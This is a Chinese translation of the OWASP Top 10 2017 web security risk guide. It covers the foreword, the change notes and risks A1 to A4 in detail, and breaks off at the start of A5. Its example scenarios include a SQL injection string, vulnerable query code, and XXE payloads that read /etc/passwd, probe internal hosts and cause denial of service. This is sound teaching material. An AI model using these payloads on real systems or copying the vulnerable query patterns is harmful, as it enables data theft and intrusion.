pdf原文地址:http://www.owasp.org.cn/owasp-project/OWASPTop102017v1.3.pdf

?

1、前言

不安全的軟件正在破壞著我們的金融、醫(yī)療、國(guó)防、能源和其他重要的基礎(chǔ)設(shè)施。隨著我們的軟件變得愈加重要、 復(fù)雜且相互關(guān)聯(lián)，實(shí)現(xiàn)應(yīng)用程序安全的難度也呈指數(shù)級(jí)增長(zhǎng)。而現(xiàn)代軟件開發(fā)過程的飛速發(fā)展，使得快速、準(zhǔn)確地識(shí)別 軟件安全風(fēng)險(xiǎn)變得愈發(fā)的重要。我們?cè)僖膊荒芎鲆曄瘛禣WASP Top 10》中所列出的相對(duì)簡(jiǎn)單的安全問題。
在2017年版《OWASP Top 10》文檔的編制過程中，我們收到了大量的反饋意見，對(duì)處理反饋意見所投入的努力遠(yuǎn) 大于在編制該文檔時(shí)付出的努力。這顯現(xiàn)出了大家對(duì)“OWASP Top 10”有非常高的熱情，以及為大多數(shù)用例設(shè)置恰當(dāng) 的“10大應(yīng)用程序安全風(fēng)險(xiǎn)”對(duì)OWASP是多么的重要。
雖然 “OWASP Top 10”項(xiàng)目的最初目標(biāo)只是為了提高開發(fā)人員和管理人員的安全意識(shí)，但它已經(jīng)成為了實(shí)際的應(yīng) 用安全標(biāo)準(zhǔn)。
在本版本中，我們以可測(cè)的方式簡(jiǎn)明地編寫問題和建議，使得《OWASP Top 10》能更適用于企業(yè)組織的應(yīng)用安全 計(jì)劃。我們鼓勵(lì)大型和高效的組織在需要使用真正標(biāo)準(zhǔn)時(shí)能使用《OWASP 應(yīng)用程序安全驗(yàn)證標(biāo)準(zhǔn)（ASVS）》，但對(duì)于 大多數(shù)組織而言，《OWASP Top 10》是開啟應(yīng)用安全旅程的重要開端。
我們已經(jīng)為《OWASP Top 10》的不同用戶編寫了一系列建議后續(xù)步驟，包括適用于CIO和CISO的“開發(fā)人員下一 步做什么？”、“安全測(cè)試人員下一步做什么？”、“企業(yè)組織下一步做什么？”，以及適用于應(yīng)用程序管理人員或應(yīng) 用程序生命周期負(fù)責(zé)人的“應(yīng)用程序管理者下一步做什么？” 。
從長(zhǎng)遠(yuǎn)來看，我們鼓勵(lì)所有的軟件開發(fā)團(tuán)隊(duì)和組織機(jī)構(gòu)創(chuàng)建一個(gè)與您團(tuán)隊(duì)或組織文化和技術(shù)都兼容的應(yīng)用安全計(jì)劃。 這些計(jì)劃可以是任意形式和規(guī)模。您應(yīng)該利用您企業(yè)組織的現(xiàn)有優(yōu)勢(shì)，并根據(jù)《應(yīng)用軟件保障成熟度模型》來衡量和改 進(jìn)企業(yè)組織的應(yīng)用安全計(jì)劃。
我們希望《OWASP Top 10》能對(duì)您的應(yīng)用程序安全有幫助。如果有任何疑問、評(píng)論和想法，請(qǐng)不要猶豫，立即通 過GitHub與OWASP取得聯(lián)系。
? https://github.com/OWASP/Top10/issues
您可以在以下鏈接找到《OWASP Top 10》及不同語(yǔ)言的翻譯文檔：
? https://www.owasp.org/index.php/top10
最后，我們要感謝 “OWASP Top 10”項(xiàng)目創(chuàng)始領(lǐng)導(dǎo)人Dave Wichers和Jeff Williams付出的辛勤努力，并相信我們 能在大家的幫助下完成這項(xiàng)工作。謝謝！
? Torsten Gigler ? Brian Glas ? Neil Smithline ? Andrew van der Stock
?

2、簡(jiǎn)介

本版本的主要變化是添加了組織內(nèi)最新篩選出的兩類風(fēng)險(xiǎn)：（1）“A8: 2017-不安全的反序列化”；（2）“A10: 2017-不足的日志記錄和監(jiān)控”。本版本《OWASP Top 10》的兩個(gè)關(guān)鍵區(qū)別是收集了大量社區(qū)反饋意見和企業(yè)組織數(shù) 據(jù)，這可能是我們?cè)诰幹茟?yīng)用安全標(biāo)準(zhǔn)時(shí)收集的最大數(shù)據(jù)量。因此，我們相信新版《OWASP Top 10》代表了當(dāng)前組織 面臨最具影響力的應(yīng)用程序安全風(fēng)險(xiǎn)。
2017年版的《OWASP Top 10》主要基于超過 40家專門從事應(yīng)用程序安全業(yè)務(wù)的公司提交的數(shù)據(jù)，以及500位以上 個(gè)人完成的行業(yè)調(diào)查。這些數(shù)據(jù)包含了從數(shù)以百計(jì)的組織和超過10萬(wàn)個(gè)實(shí)際應(yīng)用程序和API中收集的漏洞。前10大風(fēng)險(xiǎn) 項(xiàng)是根據(jù)這些流行數(shù)據(jù)選擇和優(yōu)先排序，并結(jié)合了對(duì)可利用性、可檢測(cè)性和影響程度的一致性評(píng)估而形成。
《OWASP Top 10》的首要目的是教導(dǎo)開發(fā)人員、設(shè)計(jì)人員、架構(gòu)師、管理人員和企業(yè)組織，讓他們認(rèn)識(shí)到最嚴(yán)重 Web應(yīng)用程序安全弱點(diǎn)所產(chǎn)生的后果。Top 10提供了防止這些高風(fēng)險(xiǎn)問題發(fā)生的基本方法，并為獲得這些方法的提供了指引。

?

3、發(fā)布說明

2013版至2017版改變了哪些內(nèi)容？

在過去四年里，事務(wù)變化的節(jié)奏加快了步伐，“OWASP Top 10”也需要改變了。本次，我們完全重構(gòu)了《OWASP Top 10》， 包括：改進(jìn)了方法論、使用了一個(gè)全新的“數(shù)據(jù)召集”過程、與社區(qū)合作、重新排序風(fēng)險(xiǎn)、重新編寫每一項(xiàng)風(fēng)險(xiǎn)，并對(duì)現(xiàn)有的常用框 架和語(yǔ)言增加了參考資料。 在過去的幾年中，應(yīng)用程序的基礎(chǔ)技術(shù)和結(jié)構(gòu)發(fā)生了重大變化： ? 使用node.js和Spring Boot構(gòu)建的微服務(wù)正在取代傳統(tǒng)的單任務(wù)應(yīng)用，微服務(wù)本身具有自己的安全挑戰(zhàn)，包括微服務(wù)間互信、容器 工具、保密管理等等。原來沒人期望代碼要實(shí)現(xiàn)基于互聯(lián)網(wǎng)的訪問，而現(xiàn)在這些代碼就在API或RESTful服務(wù)的后面，提供給移動(dòng) 應(yīng)用或單頁(yè)應(yīng)用（SPA）的大量使用。代碼構(gòu)建時(shí)的假設(shè)，如受信任的調(diào)用等等，再也不存在了。 ? 使用JavaScript框架（如：Angular和React）編寫的單頁(yè)應(yīng)用程序，允許創(chuàng)建高度模塊化的前端用戶體驗(yàn)；原來交付服務(wù)器端處理 的功能現(xiàn)在變?yōu)橛煽蛻舳颂幚?#xff0c;但也帶來了安全挑戰(zhàn)。 ? JavaScript成為網(wǎng)頁(yè)上最基本的語(yǔ)言。Node.js運(yùn)行在服務(wù)器端，采用現(xiàn)代網(wǎng)頁(yè)框架的Bootstrap、Electron、Angular和React則運(yùn) 行在客戶端。
新增加的風(fēng)險(xiǎn)類型（由數(shù)據(jù)統(tǒng)計(jì)支撐） ? A4:2017 XML外部實(shí)體（XXE），是一個(gè)主要由源代碼分析安全測(cè)試工具數(shù)據(jù)集支撐的新類型。
新增加的風(fēng)險(xiǎn)類型（由社區(qū)反饋支撐） 我們要求社區(qū)對(duì)兩個(gè)前瞻的弱點(diǎn)類別進(jìn)行洞察。在500多個(gè)審查意見提交后，刪除了已有數(shù)據(jù)統(tǒng)計(jì)支撐的問題（敏感數(shù)據(jù)暴露和 XXE）后，這兩個(gè)新問題為： ? A8:2017-不安全的反序列化，允許在受影響的平臺(tái)上遠(yuǎn)程執(zhí)行代碼或操縱敏感對(duì)象。 ? A10:2017-不足的日志記錄和監(jiān)控，缺乏可以防止或明顯延遲惡意活動(dòng)和破壞安全檢測(cè)、事件響應(yīng)和數(shù)字取證的安全措施。
落榜但仍未忘記的風(fēng)險(xiǎn)類型 ? “A4不安全的直接對(duì)象引用”和“A7功能級(jí)訪問控制缺失”合并成為“A5:2017 失效的訪問控制”。 ? “A8 CSRF”。因?yàn)楹芏嗥脚_(tái)融入了CSRF防御，所以只有5%的應(yīng)用程序受到了威脅。 ? “A10未驗(yàn)證的重定向和轉(zhuǎn)發(fā)”。雖然大約8%的應(yīng)用程序受此威脅，但是現(xiàn)在大多被XML外部實(shí)體（XXE）擠掉了。

?

4、應(yīng)用程序安全風(fēng)險(xiǎn)

什么是應(yīng)用程序安全風(fēng)險(xiǎn)？

攻擊者可以通過應(yīng)用程序中許多不同的路徑方法去危害您的業(yè)務(wù)或者企業(yè)組織。每種路徑方法都代表了一種風(fēng)險(xiǎn)， 這些風(fēng)險(xiǎn)可能會(huì)，也可能不會(huì)嚴(yán)重到值得您去關(guān)注。

?

有時(shí)，這些路徑方法很容易被發(fā)現(xiàn)并利用，但有的則非常困難。同樣，所造成的危害有可能無(wú)關(guān)緊要，也可能導(dǎo)致破產(chǎn)。為了確定您企業(yè)的風(fēng)險(xiǎn)，可以結(jié)合其產(chǎn)生的技術(shù)影響和對(duì)企業(yè)的業(yè)務(wù)影響，去評(píng)估威脅來源、攻擊向量和安全漏 洞的可能性。總之，這些因素決定了全部的風(fēng)險(xiǎn)。

?

5、OWASP Top 10 應(yīng)用安全風(fēng)險(xiǎn)–2017

A1:2017-注入: 將不受信任的數(shù)據(jù)作為命令或查詢的一部分發(fā)送到解析器時(shí)，會(huì)產(chǎn)生諸如SQL注入、NoSQL注入、OS 注入和LDAP注入的注入缺陷。攻擊者的惡意數(shù)據(jù)可以誘使解析器在沒有適當(dāng)授權(quán)的情況下執(zhí)行非預(yù) 期命令或訪問數(shù)據(jù)

A2:2017-失效的身 份認(rèn)證： 通常，通過錯(cuò)誤使用應(yīng)用程序的身份認(rèn)證和會(huì)話管理功能，攻擊者能夠破譯密碼、密鑰或會(huì)話令牌， 或者利用其它開發(fā)缺陷來暫時(shí)性或永久性冒充其他用戶的身份。

A3:2017-敏感數(shù)據(jù)泄露: 許多Web應(yīng)用程序和API都無(wú)法正確保護(hù)敏感數(shù)據(jù)，例如：財(cái)務(wù)數(shù)據(jù)、醫(yī)療數(shù)據(jù)和PII數(shù)據(jù)。攻擊者可 以通過竊取或修改未加密的數(shù)據(jù)來實(shí)施信用卡詐騙、身份盜竊或其他犯罪行為。未加密的敏感數(shù)據(jù) 容易受到破壞，因此，我們需要對(duì)敏感數(shù)據(jù)加密，這些數(shù)據(jù)包括：傳輸過程中的數(shù)據(jù)、存儲(chǔ)的數(shù)據(jù) 以及瀏覽器的交互數(shù)據(jù)。

A4:2017-XML 外部 實(shí)體（XXE)： 許多較早的或配置錯(cuò)誤的XML處理器評(píng)估了XML文件中的外部實(shí)體引用。攻擊者可以利用外部實(shí)體竊 取使用URI文件處理器的內(nèi)部文件和共享文件、監(jiān)聽內(nèi)部掃描端口、執(zhí)行遠(yuǎn)程代碼和實(shí)施拒絕服務(wù)攻攻擊。

A5:2017-失效的訪問控制: 未對(duì)通過身份驗(yàn)證的用戶實(shí)施恰當(dāng)?shù)脑L問控制。攻擊者可以利用這些缺陷訪問未經(jīng)授權(quán)的功能或數(shù) 據(jù)，例如：訪問其他用戶的帳戶、查看敏感文件、修改其他用戶的數(shù)據(jù)、更改訪問權(quán)限等。
A6:2017-安全配置錯(cuò)誤：安全配置錯(cuò)誤是最常見的安全問題，這通常是由于不安全的默認(rèn)配置、不完整的臨時(shí)配置、開源云 存儲(chǔ)、錯(cuò)誤的 HTTP 標(biāo)頭配置以及包含敏感信息的詳細(xì)錯(cuò)誤信息所造成的。因此，我們不僅需要對(duì)所 有的操作系統(tǒng)、框架、庫(kù)和應(yīng)用程序進(jìn)行安全配置，而且必須及時(shí)修補(bǔ)和升級(jí)它們。
A7:2017跨站腳本（XSS)： 當(dāng)應(yīng)用程序的新網(wǎng)頁(yè)中包含不受信任的、未經(jīng)恰當(dāng)驗(yàn)證或轉(zhuǎn)義的數(shù)據(jù)時(shí)，或者使用可以創(chuàng)建 HTML或 JavaScript 的瀏覽器 API 更新現(xiàn)有的網(wǎng)頁(yè)時(shí)，就會(huì)出現(xiàn) XSS 缺陷。XSS 讓攻擊者能夠在受害者的瀏覽器 中執(zhí)行腳本，并劫持用戶會(huì)話、破壞網(wǎng)站或?qū)⒂脩糁囟ㄏ虻綈阂庹军c(diǎn)。
A8:2017-不安全的 反序列化: 不安全的反序列化會(huì)導(dǎo)致遠(yuǎn)程代碼執(zhí)行。即使反序列化缺陷不會(huì)導(dǎo)致遠(yuǎn)程代碼執(zhí)行，攻擊者也可以 利用它們來執(zhí)行攻擊，包括：重播攻擊、注入攻擊和特權(quán)升級(jí)攻擊。
A9:2017-使用含有 已知漏洞的組件： 組件（例如：庫(kù)、框架和其他軟件模塊）擁有和應(yīng)用程序相同的權(quán)限。如果應(yīng)用程序中含有已知漏 洞的組件被攻擊者利用，可能會(huì)造成嚴(yán)重的數(shù)據(jù)丟失或服務(wù)器接管。同時(shí)，使用含有已知漏洞的組 件的應(yīng)用程序和API可能會(huì)破壞應(yīng)用程序防御、造成各種攻擊并產(chǎn)生嚴(yán)重影響。
A10:2017不足的日志記錄和 監(jiān)控:? 不足的日志記錄和監(jiān)控，以及事件響應(yīng)缺失或無(wú)效的集成，使攻擊者能夠進(jìn)一步攻擊系統(tǒng)、保持持 續(xù)性或轉(zhuǎn)向更多系統(tǒng)，以及篡改、提取或銷毀數(shù)據(jù)。大多數(shù)缺陷研究顯示，缺陷被檢測(cè)出的時(shí)間超 過200天，且通常通過外部檢測(cè)方檢測(cè)，而不是通過內(nèi)部流程或監(jiān)控檢測(cè)。

?

A1:注入

應(yīng)用程序脆弱嗎？
當(dāng)您的應(yīng)用在如下時(shí)點(diǎn)時(shí)，是脆弱的并易受到攻擊：
? 用戶提供的數(shù)據(jù)沒有經(jīng)過應(yīng)用程序的驗(yàn)證、過濾或凈化。 ? 動(dòng)態(tài)查詢語(yǔ)句或非參數(shù)化的調(diào)用，在沒有上下文感知轉(zhuǎn)義的情況下被用于解釋器。在ORM搜索參數(shù)中使用了惡意數(shù)據(jù)，這樣搜索就獲得包含敏感 或未授權(quán)的數(shù)據(jù)。 ? 惡意數(shù)據(jù)直接被使用或連接，諸如SQL語(yǔ)句或命令在動(dòng)態(tài)查詢語(yǔ) 句、命令或存儲(chǔ)過程中包含結(jié)構(gòu)和惡意數(shù)據(jù)。
一些常見的注入，包括：SQL、OS命令、ORM、LDAP和表達(dá)式 語(yǔ)言（EL）或OGNL注入。所有解釋器的概念都是相同的。代碼 評(píng)審是最有效的檢測(cè)應(yīng)用程序的注入風(fēng)險(xiǎn)的辦法之一，緊隨其后 的是對(duì)所有參數(shù)、字段、頭、cookie、JSON和XML數(shù)據(jù)輸入的徹 底的DAST掃描。組織可以將SAST和DAST工具添加到CI/CD過程 中，以便于在生產(chǎn)部署之前對(duì)現(xiàn)有或新檢查的代碼進(jìn)行注入問題 的預(yù)警。

如何防止？

防止注入漏洞需要將數(shù)據(jù)與命令語(yǔ)句、查詢語(yǔ)句分隔開來。 ? 最佳選擇是使用安全的API，完全避免使用解釋器，或提供參數(shù) 化界面的接口，或遷移到ORM或?qū)嶓w框架。 ? 注意：當(dāng)參數(shù)化時(shí)，存儲(chǔ)過程仍然可以引入SQL注入，如果 PL/SQL或T-SQL將查詢和數(shù)據(jù)連接在一起，或者執(zhí)行帶有立即 執(zhí)行或exec()的惡意數(shù)據(jù)。 ? 使用正確的或“白名單”的具有恰當(dāng)規(guī)范化的輸入驗(yàn)證方法同樣 會(huì)有助于防止注入攻擊，但這不是一個(gè)完整的防御，因?yàn)樵S多應(yīng) 用程序在輸入中需要特殊字符，例如文本區(qū)域或移動(dòng)應(yīng)用程序的 API。 ? 對(duì)于任何剩余的動(dòng)態(tài)查詢，可以使用該解釋器的特定轉(zhuǎn)義語(yǔ)法轉(zhuǎn) 義特殊字符。OWASP的Java Encoder和類似的庫(kù)提供了這樣的 轉(zhuǎn)義例程。 ? 注意：SQL結(jié)構(gòu)，比如：表名、列名等無(wú)法轉(zhuǎn)義，因此用戶提供 的結(jié)構(gòu)名是非常危險(xiǎn)的。這是編寫軟件中的一個(gè)常見問題。 ? 在查詢中使用LIMIT和其他SQL控件，以防止在SQL注入時(shí)大量 地泄露記錄。

攻擊案例場(chǎng)景

場(chǎng)景#1：應(yīng)用程序在下面存在脆弱性的SQL語(yǔ)句的構(gòu)造中使用不 可信數(shù)據(jù)： String query = "SELECT * FROM accounts WHERE custID='" + request.getParameter("id") + "'“;
場(chǎng)景#2：同樣的，框架應(yīng)用的盲目信任，仍然可能導(dǎo)致查詢語(yǔ)句 的漏洞。（例如：Hibernate查詢語(yǔ)言（HQL））： Query HQLQuery = session.createQuery("FROM accounts WHERE custID='" + request.getParameter("id") + "'");
在這兩個(gè)案例中，攻擊者在瀏覽器中將“id”參數(shù)的值修改成： ’ or’1’=’1。例如： http://example.com/app/accountView?id=' or '1'='1 這樣查詢語(yǔ)句的意義就變成了從accounts表中返回所有的記錄。 更危險(xiǎn)的攻擊可能導(dǎo)致數(shù)據(jù)被篡改甚至是存儲(chǔ)過程被調(diào)用。
?

A2:失效的身份認(rèn)證

應(yīng)用程序脆弱嗎？

確認(rèn)用戶的身份、身份驗(yàn)證和會(huì)話管理非常重要，這些措施可用 于將惡意的未經(jīng)身份驗(yàn)證的攻擊者與授權(quán)用戶進(jìn)行分離。 如果您的應(yīng)用程序存在如下問題，那么可能存在身份驗(yàn)證的脆弱 性： ? 允許憑證填充，這使得攻擊者獲得有效用戶名和密碼的列表。 ? 允許暴力破解或其他自動(dòng)攻擊。 ? 允許默認(rèn)的、弱的或眾所周知的密碼，例如“Password1”或 “admin/admin”。 ? 使用弱的或失效的驗(yàn)證憑證，忘記密碼程序，例如“基于知識(shí)的 答案”，這是不安全的。 ? 使用明文、加密或弱散列密碼（參見：A3:2017-敏感數(shù)據(jù)泄露）。 ? 缺少或失效的多因素身份驗(yàn)證。 ? 暴露URL中的會(huì)話ID（例如URL重寫）。 ? 在成功登錄后不會(huì)更新會(huì)話ID。 ? 不正確地使會(huì)話ID失效。當(dāng)用戶不活躍的時(shí)候，用戶會(huì)話或認(rèn)證 令牌（特別是單點(diǎn)登錄（SSO）令牌）沒有正確注銷或失效。

?

如何防止？

?在可能的情況下，實(shí)現(xiàn)多因素身份驗(yàn)證，以防止自動(dòng)、憑證填充、 暴力破解和被盜憑據(jù)再利用攻擊。 ? 不要使用發(fā)送或部署默認(rèn)的憑證，特別是管理員用戶。 ? 執(zhí)行弱密碼檢查，例如測(cè)試新或變更的密碼，以糾正“排名前 10000個(gè)弱密碼” 列表。 ? 將密碼長(zhǎng)度、復(fù)雜性和循環(huán)策略與NIST-800-63 B的指導(dǎo)方針的 5.1.1章節(jié)-記住秘密，或其他現(xiàn)代的基于證據(jù)的密碼策略相一致。 ? 確認(rèn)注冊(cè)、憑據(jù)恢復(fù)和API路徑，通過對(duì)所有輸出結(jié)果使用相同 的消息，用以抵御賬戶枚舉攻擊。 ? 限制或逐漸延遲失敗的登錄嘗試。記錄所有失敗信息并在憑據(jù)填 充、暴力破解或其他攻擊被檢測(cè)時(shí)提醒管理員。 ? 使用服務(wù)器端安全的內(nèi)置會(huì)話管理器，在登錄后生成高度復(fù)雜的 新隨機(jī)會(huì)話ID。會(huì)話ID不能在URL中，可以安全地存儲(chǔ)和當(dāng)?shù)浅觥?閑置、絕對(duì)超時(shí)后使其失效。
?

攻擊案例場(chǎng)景

場(chǎng)景#1：憑證填充，使用已知密碼的列表，是常見的攻擊。如果 應(yīng)用程序不限制身份驗(yàn)證嘗試，則可以將應(yīng)用程序用作密碼oracle， 以確定憑證是否有效。
場(chǎng)景#2：大多數(shù)身份驗(yàn)證攻擊都是由于使用密碼作為唯一的因素。 依據(jù)最佳實(shí)踐，最新的密碼輪換和復(fù)雜性要求鼓勵(lì)用戶使用、重 用以及重用弱密碼。建議組織在NIST-800-63中停止這些實(shí)踐，并 使用多因素身份驗(yàn)證。
場(chǎng)景#3：應(yīng)用會(huì)話超時(shí)設(shè)置不正確。用戶使用公共計(jì)算機(jī)訪問應(yīng) 用程序。用戶直接關(guān)閉瀏覽器選項(xiàng)卡就離開，而不是選擇“注 銷”。攻擊者一小時(shí)后使用同一個(gè)瀏覽器瀏覽網(wǎng)頁(yè)，而當(dāng)前用戶 狀態(tài)仍然是經(jīng)過身份驗(yàn)證的

?

A3:敏感數(shù)據(jù)泄露

應(yīng)用程序脆弱嗎?

首先你需要確認(rèn)的是哪些數(shù)據(jù)是敏感數(shù)據(jù)（包含：傳輸過程中的 數(shù)據(jù)、存儲(chǔ)數(shù)據(jù)）而需要被加密。例如：密碼、信用卡卡號(hào)、醫(yī) 療記錄、個(gè)人信息應(yīng)該被加密，特別是隱私法律或條例中規(guī)定需 要加密的數(shù)據(jù)，如：歐盟《通用數(shù)據(jù)保護(hù)條例》（GDPR）、 屬于 “金融數(shù)據(jù)保護(hù)條例”的《支付卡行業(yè)數(shù)據(jù)安全標(biāo)準(zhǔn)》（PIC DSS）。對(duì)于這些數(shù)據(jù)，要確定： ? 在數(shù)據(jù)傳輸過程中是否使用明文傳輸？這和傳輸協(xié)議相關(guān)，如： HTTP、SMTP和FTP。外部網(wǎng)絡(luò)流量非常危險(xiǎn)。驗(yàn)證所有的內(nèi)部通 信，如：負(fù)載平衡器、Web服務(wù)器或后端系統(tǒng)之間的通信。 ? 當(dāng)數(shù)據(jù)被長(zhǎng)期存儲(chǔ)時(shí)，無(wú)論存儲(chǔ)在哪里，它們是否都被加密，包 含備份數(shù)據(jù)？ ? 無(wú)論默認(rèn)條件還是源代碼中，是否還在使用任何舊的或脆弱的加 密算法？ ? 是否使用默認(rèn)加密密鑰，生成或重復(fù)使用脆弱的加密密鑰，或者 缺少恰當(dāng)?shù)拿荑€管理或密鑰回轉(zhuǎn)？ ? 是否強(qiáng)制加密敏感數(shù)據(jù)，例如：用戶代理（如：瀏覽器）指令和 傳輸協(xié)議是否被加密？ ? 用戶代理（如：應(yīng)用程序、郵件客戶端）是否未驗(yàn)證服務(wù)器端證 書的有效性？ 關(guān)于在這一領(lǐng)域應(yīng)該避免的更多問題，請(qǐng)參考： ASVS Crypto (V7)部分，Data Prot (V9)部分和SSL/TLS (V10)部分。

如何防止?

對(duì)一些需要加密的敏感數(shù)據(jù)，應(yīng)該起碼做到以下幾點(diǎn)：
? 對(duì)系統(tǒng)處理、存儲(chǔ)或傳輸?shù)臄?shù)據(jù)分類，并根據(jù)分類進(jìn)行訪問控制。 ? 熟悉與敏感數(shù)據(jù)保護(hù)相關(guān)的法律和條例，并根據(jù)每項(xiàng)法規(guī)要求保 護(hù)敏感數(shù)據(jù)。 對(duì)于沒必要存放的、重要的敏感數(shù)據(jù)，應(yīng)當(dāng)盡快清除，或者通過 PCI DSS標(biāo)記或攔截。未存儲(chǔ)的數(shù)據(jù)不能被竊取。 ? 確保存儲(chǔ)的所有敏感數(shù)據(jù)被加密。 ? 確保使用了最新的、強(qiáng)大的標(biāo)準(zhǔn)算法或密碼、參數(shù)、協(xié)議和密匙， 并且密鑰管理到位。 ? 確保傳輸過程中的數(shù)據(jù)被加密，如：使用TLS。確保數(shù)據(jù)加密被 強(qiáng)制執(zhí)行，如：使用HTTP嚴(yán)格安全傳輸協(xié)議（HSTS ）。 ? 禁止緩存對(duì)包含敏感數(shù)據(jù)的響應(yīng)。 ? 確保使用密碼專用算法存儲(chǔ)密碼，如：Argon2 、 scrypt 、 bcrypt 或者PBKDF2 。將工作因素（延遲因素）設(shè)置在可接受 范圍。 ? 單獨(dú)驗(yàn)證每個(gè)安全配置項(xiàng)的有效性。
?

攻擊案例場(chǎng)景

場(chǎng)景 #1：一個(gè)應(yīng)用程序使用自動(dòng)化的數(shù)據(jù)加密系統(tǒng)加密信用卡信 息，并存儲(chǔ)在數(shù)據(jù)庫(kù)中。但是，當(dāng)數(shù)據(jù)被檢索時(shí)被自動(dòng)解密，這 就使得SQL注入漏洞能夠以明文形式獲得所有信用卡卡號(hào)。
場(chǎng)景 #2：一個(gè)網(wǎng)站上對(duì)所有網(wǎng)頁(yè)沒有使用或強(qiáng)制使用TLS，或者使 用弱加密。攻擊者通過監(jiān)測(cè)網(wǎng)絡(luò)流量（如：不安全的無(wú)線網(wǎng)絡(luò)）， 將網(wǎng)絡(luò)連接從HTTPS降級(jí)到HTTP，就可以截取請(qǐng)求并竊取用戶會(huì)話 cookie。之后，攻擊者可以復(fù)制用戶cookie并成功劫持經(jīng)過認(rèn)證 的用戶會(huì)話、訪問或修改用戶個(gè)人信息。除此之外，攻擊者還可 以更改所有傳輸過程中的數(shù)據(jù)，例如：轉(zhuǎn)款的接接收者。
場(chǎng)景 #3：密碼數(shù)據(jù)庫(kù)使用未加鹽的哈希算法或弱哈希算法去存儲(chǔ) 每個(gè)人的密碼。一個(gè)文件上傳漏洞使黑客能夠獲取密碼文件。所 有這些未加鹽哈希的密碼通過彩虹表暴力破解方式破解。 由簡(jiǎn)單 或快速散列函數(shù)生成加鹽的哈希，也可以通過GPU破解。

?

A4:XML 外部實(shí)體（XXE）

?

應(yīng)用程序脆弱嗎?

應(yīng)用程序和特別是基于XML的Web服務(wù)或向下集成，可能在以下 方面容易受到攻擊： ? 您的應(yīng)用程序直接接受XML文件或者接受XML文件上傳，特別是 來自不受信任源的文件，或者將不受信任的數(shù)據(jù)插入XML文件， 并提交給XML處理器解析。 ? 在應(yīng)用程序或基于Web服務(wù)的SOAP中，所有XML處理器都啟用 了文檔類型定義（DTDs）。因?yàn)榻肈TD進(jìn)程的確切機(jī)制因處 理器而不同，更多資料請(qǐng)參考：《OWASP Cheat Sheet ‘XXE Prevention‘ 》。 ? 如果為了實(shí)現(xiàn)安全性或單點(diǎn)登錄（SSO），您的應(yīng)用程序使用 SAML進(jìn)行身份認(rèn)證。而SAML使用XML進(jìn)行身份確認(rèn)，那么您 的應(yīng)用程序就容易受到XXE攻擊。 ? 如果您的應(yīng)用程序使用第1.2版之前的SOAP，并將XML實(shí)體傳 遞到SOAP框架，那么它可能受到XXE攻擊。 ? 存在XXE缺陷的應(yīng)用程序更容易受到拒絕服務(wù)攻擊，包括： Billion Laughs 攻擊。

?

如何防止?

開發(fā)人員培訓(xùn)是識(shí)別和減少XXE缺陷的關(guān)鍵，此外，防止XXE 缺 陷還需要：
? 盡可能使用簡(jiǎn)單的數(shù)據(jù)格式（如：JSON），避免對(duì)敏感數(shù)據(jù)進(jìn) 行序列化。 ? 及時(shí)修復(fù)或更新應(yīng)用程序或底層操作系統(tǒng)使用的所有XML處理器 和庫(kù)。同時(shí)，通過依賴項(xiàng)檢測(cè)，將SOAP更新到1.2版本或更高 版本。 ? 參考《 OWASP Cheat Sheet ‘XXE Prevention‘ 》，在應(yīng)用程序 的所有XML解析器中禁用XML外部實(shí)體和DTD進(jìn)程。 ? 在服務(wù)器端實(shí)施積極的（“白名單”）輸入驗(yàn)證、過濾和清理， 以防止在XML文檔、標(biāo)題或節(jié)點(diǎn)中出現(xiàn)惡意數(shù)據(jù)。 ? 驗(yàn)證XML或XSL文件上傳功能是否使用XSD驗(yàn)證或其他類似驗(yàn)證 方法來驗(yàn)證上傳的XML文件。 ? 盡管在許多集成環(huán)境中，手動(dòng)代碼審查是大型、復(fù)雜應(yīng)用程序的 最佳選擇，但是SAST 工具可以檢測(cè)源代碼中的XXE漏洞。
如果無(wú)法實(shí)現(xiàn)這些控制，請(qǐng)考慮使用虛擬修復(fù)程序、API安全網(wǎng)關(guān) 或Web應(yīng)用程序防火墻（ WAF ）來檢測(cè)、監(jiān)控和防止XXE攻 擊。
?

攻擊案例場(chǎng)景

大量XXE缺陷已經(jīng)被發(fā)現(xiàn)并被公開，這些缺陷包括嵌入式設(shè)備的 XXE缺陷。 XXE缺陷存在于許多意想不到的地方，這些地方包括 深嵌套的依賴項(xiàng)。最簡(jiǎn)單的方法是上傳可被接受的惡意XML文件：
場(chǎng)景 #1：攻擊者嘗試從服務(wù)端提取數(shù)據(jù)： <?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE foo [ <!ELEMENT foo ANY > <!ENTITY xxe SYSTEM "file:///etc/passwd" >]> <foo>&xxe;</foo>
場(chǎng)景 #2：攻擊者通過將上面的實(shí)體行更改為以下內(nèi)容來探測(cè)服務(wù) 器的專用網(wǎng)絡(luò)： <!ENTITY xxe SYSTEM "https://192.168.1.1/private" >]>
場(chǎng)景 #3：攻擊者通過惡意文件執(zhí)行拒絕服務(wù)攻擊： <!ENTITY xxe SYSTEM "file:///dev/random" >]>
?

A5：失效的訪問控制

應(yīng)用程序脆弱嗎？

訪問控制強(qiáng)制實(shí)施策略，使用戶無(wú)法在其預(yù)期的權(quán)限之外執(zhí)行行 為。失敗的訪問控制通常導(dǎo)致未經(jīng)授權(quán)的信息泄露、修改或銷毀 所有數(shù)據(jù)、或在用戶權(quán)限之外執(zhí)行業(yè)務(wù)功能。常見的訪問控制脆 弱點(diǎn)包括：
? 通過修改 URL、內(nèi)部應(yīng)用程序狀態(tài)或 HTML 頁(yè)面繞過訪問控制 檢查，或簡(jiǎn)單地使用自定義的 API 攻擊工具。 ? 允許將主鍵更改為其他用戶的記錄，例如查看或編輯他人的帳戶。 ? 特權(quán)提升。在不登錄的情況下假扮用戶，或以用戶身份登錄時(shí)充 當(dāng)管理員。 ? 元數(shù)據(jù)操作，如重放或篡改 JWT 訪問控制令牌，或作以提升權(quán) 限的cookie 或隱藏字段。 ? CORS配置錯(cuò)誤允許未授權(quán)的API訪問。 ? 以未通過身份驗(yàn)證的用戶身份強(qiáng)制瀏覽的通過身份驗(yàn)證時(shí)才能看 到的頁(yè)面、或作為標(biāo)準(zhǔn)用戶訪問具有相關(guān)權(quán)限的頁(yè)面、或API沒 有對(duì)POST、PUT和DELETE強(qiáng)制執(zhí)行訪問控制。

如何防止？

